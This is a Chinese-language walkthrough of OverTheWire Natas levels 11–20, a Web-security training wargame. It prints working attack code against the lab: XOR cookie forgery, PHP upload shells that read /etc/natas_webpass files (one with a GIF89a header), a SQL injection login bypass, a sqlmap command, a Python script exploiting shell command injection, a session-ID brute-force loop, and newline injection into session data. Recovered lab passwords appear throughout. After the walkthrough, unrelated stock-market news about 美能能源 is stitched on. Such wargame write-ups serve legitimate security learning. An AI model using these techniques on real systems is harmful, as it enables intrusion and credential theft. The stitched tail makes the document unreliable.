Natas通关指南(11-20)
原创: Lof_x 合天智汇
接上一篇Natas通关指南(1-10) 继续闯关
OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1中,只能由natas0和natas1读取。
网站:
http://overthewire.org/wargames/natas/
Tips:所用工具:Chrome浏览器;Curl;BurpSuite;SQLMap
Level 11-12
Username: natas11
Password: natas11
URL: http://natas11.natas.labs.overthewire.org
首先使用我们之前得到的密码: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK登录natas11,得到一句提示:
- Cookies are protected with XOR encryption
还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode查看源码。关键代码如下:
- $defaultdata = array(
- "showpassword"
- =>
- "no"
- ,
- "bgcolor"
- =>
- "#ffffff"
- );
- function
- xor_encrypt($in) {
- $key =
- '<censored>'
- ;
- $text = $in;
- $outText =
- ''
- ;
- // Iterate through each character
- for
- ($i=
- 0
- ;$i<strlen($text);$i++) {
- $outText .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return
- $outText;
- }
- function
- loadData($def) {
- global
- $_COOKIE;
- $mydata = $def;
- if
- (array_key_exists(
- "data"
- , $_COOKIE)) {
- $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE[
- "data"
- ])),
- true
- );
- if
- (is_array($tempdata) && array_key_exists(
- "showpassword"
- , $tempdata) && array_key_exists(
- "bgcolor"
- , $tempdata)) {
- if
- (preg_match(
- '/^#(?:[a-f\d]{6})$/i'
- , $tempdata[
- 'bgcolor'
- ])) {
- $mydata[
- 'showpassword'
- ] = $tempdata[
- 'showpassword'
- ];
- $mydata[
- 'bgcolor'
- ] = $tempdata[
- 'bgcolor'
- ];
- }
- }
- }
- return
- $mydata;
- }
- function
- saveData($d) {
- setcookie(
- "data"
- , base64_encode(xor_encrypt(json_encode($d))));
- }
- $data = loadData($defaultdata);
- if
- (array_key_exists(
- "bgcolor"
- ,$_REQUEST)) {
- if
- (preg_match(
- '/^#(?:[a-f\d]{6})$/i'
- , $_REQUEST[
- 'bgcolor'
- ])) {
- $data[
- 'bgcolor'
- ] = $_REQUEST[
- 'bgcolor'
- ];
- }
- }
- saveData($data);
- ?>
- <h1>
- natas11</h1>
- <div id=
- "content"
- >
- <body style=
- "background: <?=$data['bgcolor']?>;"
- >
- Cookies
- are
- protected
- with
- XOR encryption<br/><br/>
- <?
- if
- ($data[
- "showpassword"
- ] ==
- "yes"
- ) {
- "The password for natas12 is <censored><br>"
- ;
- }
- ?>
从代码可以看出,通过一些列的编码,包括 base64加密, php异或运算。把用户输入的数据编码进 cookie里面。通过浏览器可以查看到data这个值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw。而 showpassword这个参数决定了我们是否能看到下一关密码。代码中有个 censored的 key,这个是 php用来做异或运算加密用到的 key,我们需要先算出这 key值,然后用这个值作为 key进行运算和一些列编码,计算出新的 cookie传入,即可得到下一关的密码。
key值计算:
- <?php
- $orig_cookie = base64_decode(
- 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'
- );
- function
- xor_encrypt($in) {
- $text = $in;
- $key = json_encode(array(
- "showpassword"
- =>
- "no"
- ,
- "bgcolor"
- =>
- "#ffffff"
- ));
- $out =
- ''
- ;
- for
- ($i=
- 0
- ;$i<strlen($text);$i++) {
- $out .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return
- $out;
- }
- echo xor_encrypt($orig_cookie);
- ?>
得到的结果是 qw8J
计算新的Cookie:
- <?php
- $defaultdata = array(
- "showpassword"
- =>
- "yes"
- ,
- "bgcolor"
- =>
- "#ffffff"
- );
- function
- xor_encrypt($in) {
- $key =
- 'qw8J'
- ;
- $text = $in;
- $out =
- ''
- ;
- // Iterate through each character
- for
- ($i=
- 0
- ;$i<strlen($text);$i++) {
- $out .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return
- $out;
- }
- function
- loadData($def) {
- $mydata = $def;
- $tempdata = json_decode(xor_encrypt(base64_decode($data)),
- true
- );
- return
- $mydata;
- }
- echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
- ?>
结果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK,传入新的Cookie:
- curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie
- "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
- HTTP/
- 1.1
- 200
- OK
- Date
- :
- Mon
- ,
- 27
- Aug
- 2018
- 13
- :
- 40
- :
- 47
- GMT
- Server
- :
- Apache
- /
- 2.4
- .
- 10
- (
- Debian
- )
- Set
- -
- Cookie
- : data=
- ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
- ......
- Cookies
- are
- protected
- with
- XOR encryption<br/><br/>
- The
- password
- for
- natas12
- is
- EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
- <br>
- ......
得到密码。
Level 12-13
Username: natas12
URL: http://natas12.natas.labs.overthewire.org
登录natas12,可以看到是一个上传文件功能:
- Choose a JPEG to upload (max 1KB):
提示可以上传图片,最大不超过1kB,点击 Viewsourcecode查看源码,关键代码如下:
- <?
- function
- genRandomString() {
- $length =
- 10
- ;
- $characters =
- "0123456789abcdefghijklmnopqrstuvwxyz"
- ;
- $string =
- ""
- ;
- for
- ($p =
- 0
- ; $p < $length; $p++) {
- $string .= $characters[mt_rand(
- 0
- , strlen($characters)-
- 1
- )];
- }
- return
- $string;
- }
- function
- makeRandomPath($dir, $ext) {
- do
- {
- $path = $dir.
- "/"
- .genRandomString().
- "."
- .$ext;
- }
- while
- (file_exists($path));
- return
- $path;
- }
- function
- makeRandomPathFromFilename($dir, $fn) {
- $ext = pathinfo($fn, PATHINFO_EXTENSION);
- return
- makeRandomPath($dir, $ext);
- }
- if
- (array_key_exists(
- "filename"
- , $_POST)) {
- $target_path = makeRandomPathFromFilename(
- "upload"
- , $_POST[
- "filename"
- ]);
- if
- (filesize($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ]) >
- 1000
- ) {
- echo
- "File is too big"
- ;
- }
- else
- {
- if
- (move_uploaded_file($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ], $target_path)) {
- echo
- "The file <a href=\"$target_path\">$target_path</a> has been uploaded"
- ;
- }
- else
- {
- echo
- "There was an error uploading the file, please try again!"
- ;
- }
- }
- }
- else
- {
- ?>
- <form
- enctype
- =
- "multipart/form-data"
- action
- =
- "index.php"
- method
- =
- "POST"
- >
- <input
- type
- =
- "hidden"
- name
- =
- "MAX_FILE_SIZE"
- value
- =
- "1000"
- />
- <input type="hidden" name="filename" value="<?
- genRandomString(); ?>.jpg" />
- Choose a JPEG to upload (max 1KB):
- <br/>
- <input
- name
- =
- "uploadedfile"
- type
- =
- "file"
- /><br
- />
- <input
- type
- =
- "submit"
- value
- =
- "Upload File"
- />
通过阅读代码,可以发现除了**文件大小和文件扩展名做了前端**之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php文件去读取 natas13的密码即可。你可以通过 BurpSuite之类的工具修改上传的 filename后缀即可。
- ///getpass.php
- <?php
- $getpass = file_get_contents(
- '/etc/natas_webpass/natas13'
- );
- echo $getpass;
- ?>
得到密码: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13-14
Username: natas13
URL: http://natas13.natas.labs.overthewire.org
页面和前一关一样,不过查看源代码发现这一次**了文件类型,通过 php的函数 exif_imagetype() 来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(第一个字节),从而检测文件类型。关键代码如下:
- }
- else
- if
- (! exif_imagetype($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ])) {
- echo
- "File is not an image"
- ;
- }
- else
- {
- if
- (move_uploaded_file($_FILES[
- 'uploadedfile'
- ][
- 'tmp_name'
- ], $target_path)) {
- echo
- "The file <a href=\"$target_path\">$target_path</a> has been uploaded"
- ;
- }
- else
- {
- echo
- "There was an error uploading the file, please try again!"
- ;
- }
- }
- }
- else
- {
那我们只需在上传的 php文件中加入任意图片格式文件头标识即可,比如 GIF98a
- GIF89a
- <?php
- $getpass = file_get_contents(
- '/etc/natas_webpass/natas14'
- );
- echo $getpass;
- ?>
上传后访问返回的路径,得到密码: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14-15
Username: natas14
URL: http://natas14.natas.labs.overthewire.org
访问后,是一个登录页面,需要输入 username和 password,查看代码,关键代码:
- <?
- if
- (array_key_exists(
- "username"
- , $_REQUEST)) {
- $link = mysql_connect(
- 'localhost'
- ,
- 'natas14'
- ,
- '<censored>'
- );
- mysql_select_db(
- 'natas14'
- , $link);
- $query =
- "SELECT * from users where username=\""
- .$_REQUEST[
- "username"
- ].
- "\" and password=\""
- .$_REQUEST[
- "password"
- ].
- "\""
- ;
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- echo
- "Executing query: $query<br>"
- ;
- }
- if
- (mysql_num_rows(mysql_query($query, $link)) >
- 0
- ) {
- echo
- "Successful login! The password for natas15 is <censored><br>"
- ;
- }
- else
- {
- echo
- "Access denied!<br>"
- ;
- }
- mysql_close($link);
- }
- else
- {
- ?>
很明显的 SQL注入漏洞,没有任何过滤,直接试试万能密码: " OR 1=1 #
注入成功,得到密码: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 15-16
Username: natas15
URL: http://natas15.natas.labs.overthewire.org
页面需要输入一个 username,可以点击 Checkexistence查询用户是否存在,关键代码如下:
- <h1>
- natas15
- </h1>
- <div
- id
- =
- "content"
- >
- <?
- /*
- CREATE TABLE `users` (
- `username` varchar(64) DEFAULT NULL,
- `password` varchar(64) DEFAULT NULL
- );
- */
- if
- (array_key_exists(
- "username"
- , $_REQUEST)) {
- $link = mysql_connect(
- 'localhost'
- ,
- 'natas15'
- ,
- '<censored>'
- );
- mysql_select_db(
- 'natas15'
- , $link);
- $query =
- "SELECT * from users where username=\""
- .$_REQUEST[
- "username"
- ].
- "\""
- ;
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- echo
- "Executing query: $query<br>"
- ;
- }
- $res = mysql_query($query, $link);
- if
- ($res) {
- if
- (mysql_num_rows($res) >
- 0
- ) {
- echo
- "This user exists.<br>"
- ;
- }
- else
- {
- echo
- "This user doesn't exist.<br>"
- ;
- }
- }
- else
- {
- echo
- "Error in query.<br>"
- ;
- }
- mysql_close($link);
- }
- else
- {
- ?>
这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE表达式用通配符按个判断。这里我们直接用 sqlmap好了。
- sqlmap -u http:
- //natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
或者写python脚本获取密码,得到密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Level 16-17
Username: natas16
URL: http://natas16.natas.labs.overthewire.org
这一关和第9关,第10关很像,不过过滤了更多的字符
页面提示 Forsecurity reasons,we now filter even more on certain characters,页面功能是 Findwords containing:,需要输入一些内容,然后搜索,然后会输出一些内容。关键代码如下:
- $key =
- ""
- ;
- if
- (array_key_exists(
- "needle"
- , $_REQUEST)) {
- $key = $_REQUEST[
- "needle"
- ];
- }
- if
- ($key !=
- ""
- ) {
- if
- (preg_match(
- '/[;|&`\'"]/'
- ,$key)) {
- "Input contains an illegal character!"
- ;
- }
- else
- {
- passthru(
- "grep -i \"$key\" dictionary.txt"
- );
- }
- }
- ?>
虽然过滤了很多字符,但是没有过滤 $和 ()。我们知道PHP里的 $()即使在引号内也可以使用,所以我们可以构造注入语言 $(grep a/etc/natas_webpass/natas17),执行的语句是这样的: passthru("grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt");所有的单词都被返回了。 我们知道 dictionary.txt中存在字符串,比如说 A,用它与 $(grep)的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的 grep会返回结果 。
比如说:如 password中首字母为 a,构成
grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt由于内部的 $()命令返回了 a,则使外层命令变为
grep-I"aA"dictionary.txt由于 dictionary中没有 aA,从而返回空值
而如果内层 $()命令返回空值,外层则能正确检索到 A,于是返回值,证明首字母不是 a
按照这个原理可以构造出**脚本
- import
- requests
- chars =
- '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
- exist =
- ''
- password =
- ''
- target =
- 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
- trueStr =
- 'Output:\n<pre>\n</pre>'
- for
- x
- in
- chars:
- r = requests.get(target+
- '?needle=$(grep '
- +x+
- ' /etc/natas_webpass/natas17)Getpass'
- )
- if
- r.content.find(trueStr) != -
- 1
- :
- exist += x
- 'Using: '
- + exist
- for
- i
- in
- range(
- 32
- ):
- for
- c
- in
- exist:
- r = requests.get(target+
- '?needle=$(grep ^'
- +password+c+
- ' /etc/natas_webpass/natas17)Getpass'
- )
- if
- r.content.find(trueStr) != -
- 1
- :
- password += c
- 'Password: '
- + password +
- '*'
- * int(
- 32
- - len(password))
- break
得到密码是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 17-18
Username: natas17
URL: http://natas17.natas.labs.overthewire.org
同 natas15,不过没有错误提示,所以可以用基于时间的盲注。
得出的密码是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18-19
Username: natas18
URL: http://natas18.natas.labs.overthewire.org
提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.
同样有一个登录框,可以输入 username和 password。关键代码如下:
- $maxid =
- 640
- ;
- // 640 should be enough for everyone
- function
- isValidAdminLogin() {
- /* {{{ */
- if
- ($_REQUEST[
- "username"
- ] ==
- "admin"
- ) {
- /* This method of authentication appears to be unsafe and has been disabled for now. */
- //return 1;
- }
- return
- 0
- ;
- }
- /* }}} */
- function
- isValidID($id) {
- /* {{{ */
- return
- is_numeric($id);
- }
- /* }}} */
- function
- createID($user) {
- /* {{{ */
- global
- $maxid;
- return
- rand(
- 1
- , $maxid);
- }
- /* }}} */
- function
- debug($msg) {
- /* {{{ */
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- "DEBUG: $msg<br>"
- ;
- }
- }
- /* }}} */
- function
- my_session_start() {
- /* {{{ */
- if
- (array_key_exists(
- "PHPSESSID"
- , $_COOKIE)
- and
- isValidID($_COOKIE[
- "PHPSESSID"
- ])) {
- if
- (!session_start()) {
- debug(
- "Session start failed"
- );
- return
- false
- ;
- }
- else
- {
- debug(
- "Session start ok"
- );
- if
- (!array_key_exists(
- "admin"
- , $_SESSION)) {
- debug(
- "Session was old: admin flag set"
- );
- $_SESSION[
- "admin"
- ] =
- 0
- ;
- // backwards compatible, secure
- }
- return
- true
- ;
- }
- }
- return
- false
- ;
- }
- /* }}} */
- function
- print_credentials() {
- /* {{{ */
- if
- ($_SESSION
- and
- array_key_exists(
- "admin"
- , $_SESSION)
- and
- $_SESSION[
- "admin"
- ] ==
- 1
- ) {
- "You are an admin. The credentials for the next level are:<br>"
- ;
- "<pre>Username: natas19\n"
- ;
- "Password: <censored></pre>"
- ;
- }
- else
- {
- "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."
- ;
- }
- }
- /* }}} */
- $showform =
- true
- ;
- if
- (my_session_start()) {
- print_credentials();
- $showform =
- false
- ;
- }
- else
- {
- if
- (array_key_exists(
- "username"
- , $_REQUEST) && array_key_exists(
- "password"
- , $_REQUEST)) {
- session_id(createID($_REQUEST[
- "username"
- ]));
- session_start();
- $_SESSION[
- "admin"
- ] = isValidAdminLogin();
- debug(
- "New session started"
- );
- $showform =
- false
- ;
- print_credentials();
- }
- }
- if
- ($showform) {
- ?>
从代码上来看,没有连接数据库,说明不是 sql注入,但是我们注意到有一个变量 maxid,在 createID函数中,接收用户名请求,并将其分配给 1到 640($maxid)之间的随机整数。然后它将其初始化为 session_id。假设 PHPSESSID是来自 session_id的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID的值确实是来自变量 maxid产生的 session_id值。
所以我们只要穷举 maxid的值就好了。可以用 Burpsuite**这个值,然后把它作为 PHPSESSID发送请求,即可得到密码。密码为 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
如果嫌 Burpsuite太麻烦,用 shell脚本也可轻松搞定
- for
- i
- in
- `seq 640`
- do
- echo $i
- curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http:
- //natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19
- done
Level 19-20
Username: natas19
URL: http://natas19.natas.labs.overthewire.org
提示是这样的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.意思就是和上一关一样,只不过 PHPSESSID不再那么简单容易猜到而已。
通过观察,发现其 PHPSESSID,虽然一长串字符串,如 3237362d61646d696e,通过16进制**发现,都是由 3位数字-admin组成的,也就是说后面的 2d61646d696e是不变的。所以我们只需要穷举 1-640之间的数字然后拼接 -admin做16进制转换,再带入 PHPSESSID中进行提交,就能找到那个属于 admin的 PHPSESSID。最后得到的密码是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 20-21
Username: natas20
URL: http://natas20.natas.labs.overthewire.org
登录后,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21. 你可以输入 Yourname,然后点 Changename,不过无论你输入什么页面都没有任何信息反馈给你。查看源码,关键代码如下:
- <?
- function
- debug($msg) {
- /* {{{ */
- if
- (array_key_exists(
- "debug"
- , $_GET)) {
- "DEBUG: $msg<br>"
- ;
- }
- }
- /* }}} */
- function
- print_credentials() {
- /* {{{ */
- if
- ($_SESSION
- and
- array_key_exists(
- "admin"
- , $_SESSION)
- and
- $_SESSION[
- "admin"
- ] ==
- 1
- ) {
- "You are an admin. The credentials for the next level are:<br>"
- ;
- "<pre>Username: natas21\n"
- ;
- "Password: <censored></pre>"
- ;
- }
- else
- {
- "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."
- ;
- }
- }
- /* }}} */
- /* we don't need this */
- function
- myopen($path, $name) {
- //debug("MYOPEN $path $name");
- return
- true
- ;
- }
- /* we don't need this */
- function
- myclose() {
- //debug("MYCLOSE");
- return
- true
- ;
- }
- function
- myread($sid) {
- debug(
- "MYREAD $sid"
- );
- if
- (strspn($sid,
- "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
- ) != strlen($sid)) {
- debug(
- "Invalid SID"
- );
- return
- ""
- ;
- }
- $filename = session_save_path() .
- "/"
- .
- "mysess_"
- . $sid;
- if
- (!file_exists($filename)) {
- debug(
- "Session file doesn't exist"
- );
- return
- ""
- ;
- }
- debug(
- "Reading from "
- . $filename);
- $data = file_get_contents($filename);
- $_SESSION = array();
- foreach
- (explode(
- "\n"
- , $data)
- as
- $line) {
- debug(
- "Read [$line]"
- );
- $parts = explode(
- " "
- , $line,
- 2
- );
- if
- ($parts[
- 0
- ] !=
- ""
- ) $_SESSION[$parts[
- 0
- ]] = $parts[
- 1
- ];
- }
- return
- session_encode();
- }
- function
- mywrite($sid, $data) {
- // $data contains the serialized version of $_SESSION
- // but our encoding is better
- debug(
- "MYWRITE $sid $data"
- );
- // make sure the sid is alnum only!!
- if
- (strspn($sid,
- "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-"
- ) != strlen($sid)) {
- debug(
- "Invalid SID"
- );
- return
- ;
- }
- $filename = session_save_path() .
- "/"
- .
- "mysess_"
- . $sid;
- $data =
- ""
- ;
- debug(
- "Saving in "
- . $filename);
- ksort($_SESSION);
- foreach
- ($_SESSION
- as
- $key => $value) {
- debug(
- "$key => $value"
- );
- $data .=
- "$key $value\n"
- ;
- }
- file_put_contents($filename, $data);
- chmod($filename,
- 0600
- );
- }
- /* we don't need this */
- function
- mydestroy($sid) {
- //debug("MYDESTROY $sid");
- return
- true
- ;
- }
- /* we don't need this */
- function
- mygarbage($t) {
- //debug("MYGARBAGE $t");
- return
- true
- ;
- }
- session_set_save_handler(
- "myopen"
- ,
- "myclose"
- ,
- "myread"
- ,
- "mywrite"
- ,
- "mydestroy"
- ,
- "mygarbage"
- );
- session_start();
- if
- (array_key_exists(
- "name"
- , $_REQUEST)) {
- $_SESSION[
- "name"
- ] = $_REQUEST[
- "name"
- ];
- debug(
- "Name set to "
- . $_REQUEST[
- "name"
- ]);
- }
- print_credentials();
- $name =
- ""
- ;
- if
- (array_key_exists(
- "name"
- , $_SESSION)) {
- $name = $_SESSION[
- "name"
- ];
- }
- ?>
我们来看看每个函数的作用:
debug($msg)表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug来查看调试消息 $msg。
访问之后将看到一些提示,类似这样的:
- DEBUG: MYWRITE **2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
- DEBUG: Saving in /var/lib/php5/sessions//mysess_**2d78a9d3u7r6qq2dn8tl7sf1
- DEBUG: name => admin
可以看出,登录之后, $ _SESSION的值被存储在一个文件中。
重点在 mywrite和 myread这两个关键函数,它们的作用是管理会话状态。
默认情况下, $ _SESSION中唯一的 key是 name,其值通过 /index.php中的表单提交进行设置。我们可以通过对 name键值对进行注入:将 data里面的值变为: name xxxx \n admin1\n。
对换行符编码然后提交:
- http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1
再次访问 http://natas20.natas.labs.overthewire.org即可得到密码
- You are an admin. The credentials for the next level are:
- Username: natas21
- Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
未完待续......
一 公司基本情况速览总股本:1.879亿 总发行量 :4690万 发行**:10.69元 募资总额:5.01亿发行市盈率:20.42倍 行业市盈率:19.12倍所属行业:燃气生产和供应 所属区域:陕西
美能能源(001299)12月6日主力资金净买入1125.28万元
截至2022年12月6日收盘,美能能源(001299)报收于27.53元,上涨2.92%,换手率39.8%,成交量18.67万手,成交额5.05亿元。12月6日的资金流向数据方面,主力资金净流入112
截至2022年11月8日收盘,美能能源(001299)报收于22.69元,上涨3.18%,换手率71.38%,成交量33.48万手,成交额7.75亿元。资金流向数据方面,11月8日主力资金净流出399
专访美能能源董事长晏立群:紧随绿色低碳能源**大潮 捕捉清洁能源发展新商机
90年代初,****前沿的深圳还处在草莽创业的时期,那时候,深圳吸引了一批又一批来自全国各地的年轻人,晏立群就是其中之一。从外出闯荡到回乡扎根,从推销液化气灶具到推广应用天然气,从“打工人”到创业者,
美能能源(001299)7月20日股东户数2万户,较上期减少6.82%
近日美能能源披露,截至2023年7月20日公司股东户数为2.0万户,较7月10日减少1465.0户,减幅为6.82%。户均持股数量由上期的8731.0股增加至9370.0股,户均持股市值为15.18万
美能能源2023年3月22日在深交所互动易中披露,截至2023年3月20日公司股东户数为2.27万户,较上期(2023年2月10日)减少3573户,减幅为13.59%。美能能源股东户数低于行业平均水平
美能能源7月24日在交易所互动平台中披露,截至7月20日公司股东户数为20020户,较上期(7月10日)减少1465户,环比降幅为6.82%。证券时报•数据宝统计,截至发稿,美能能源收盘价为16.20
记者 | 陈慧东编辑 | 10月31日上市首日,美能能源(001299.SZ)高开后一路上涨,两次触及涨停**,于10时01分许封上涨停板。截至收盘,该股股价上涨43.97%,报15.39元/股,成交
美能能源2023年7月18日在深交所互动易中披露,截至2023年7月10日公司股东户数为2.15万户,较上期(2023年6月30日)增加59户,增幅为0.28%。美能能源股东户数低于行业平均水平。根据
多主力现身**榜,美能能源换手率达67.90%(11-24)
深交所2022年11月24日交易***息显示,美能能源因属于当日换手率达到20%的证券而登上**榜。美能能源当收22.57元,涨跌幅为-1.53%,换手率67.90%,振幅10.43%,成交额7.
多主力现身**榜,美能能源换手率达47.30%(11-23)
深交所2022年11月23日交易***息显示,美能能源因属于当日换手率达到20%的证券而登上**榜。美能能源当收22.92元,涨跌幅为9.98%,换手率47.30%,振幅12.57%,成交额4.9
11月30日美能能源(001299)**榜数据:机构净买入6.49万元
沪深交易所2022年11月30日公布的交易***息显示,美能能源(001299)因日换手率达到20%的前5只证券登上**榜。此次是近5个交易日内第5次上榜。截至2022年11月30日收盘,美能能源(0
美能能源将开启申购:上半年增收不增利,预计上市时市值20亿元
10月17日,陕西美能清洁能源集团股份有限公司(下称“美能能源”,SZ:001299)披露发行公告,并将于2022年10月18日开启申购。本次上市,美能能源的发行价为10.69元/股,发行市盈率20.
美能能源(001299)11月15日主力资金净卖出2095.05万元
截至2022年11月15日收盘,美能能源(001299)报收于20.1元,下跌1.03%,换手率21.43%,成交量10.05万手,成交额2.01亿元。11月15日的资金流向数据方面,主力资金净流出2
深交所2022年10月31日交易***息显示,美能能源因属于无**涨跌幅**的证券而登上**榜。美能能源当收15.39元,涨跌幅为43.97%,换手率7.15%,振幅23.95%,成交额5142.
陕西又一城燃公司IPO过会,美能能源“内生式增长”成效几何?
华夏时报(www.chinatimes.net.cn)记者 苗诗雨 陆肖肖 北京报道继陕天然气(002267.SZ)后,陕西第二家区域性城燃公司即将于近日上市发售。天然气资源和油气资源丰富的陕西地区,
加码新能源领域投资 美能能源拟投建集团总部暨西安智慧能源研究院
本报记者 殷高峰11月14日,美能能源发布公告称,公司与西安高新区管委会拟签订《美能能源总部暨西安智慧能源研究院建设项目协议书》,公司计划在西安高新区上市企业园建设美能能源总部暨西安智慧能源研究院,总
多主力现身**榜,美能能源换手率达55.10%(11-25)
深交所2022年11月25日交易***息显示,美能能源因属于连续三个交易日内收盘**涨幅偏离值累计20%、当日换手率达到20%的证券而登上**榜。美能能源当收24.83元,涨跌幅为10.01%,换
多主力现身**榜,美能能源换手率达32.22%(05-29)
深交所2023年5月29日交易***息显示,美能能源因属于当日换手率达到20%的证券而登上**榜。美能能源当收18.72元,涨跌幅为3.43%,换手率32.22%,振幅12.43%,成交额2.73
11月7日美能能源(001299)**榜数据:机构净卖出1216.39万元
沪深交易所2022年11月7日公布的交易***息显示,美能能源(001299)因日换手率达到20%的前5只证券登上**榜。此次是近5个交易日内第3次上榜。截至2022年11月7日收盘,美能能源(001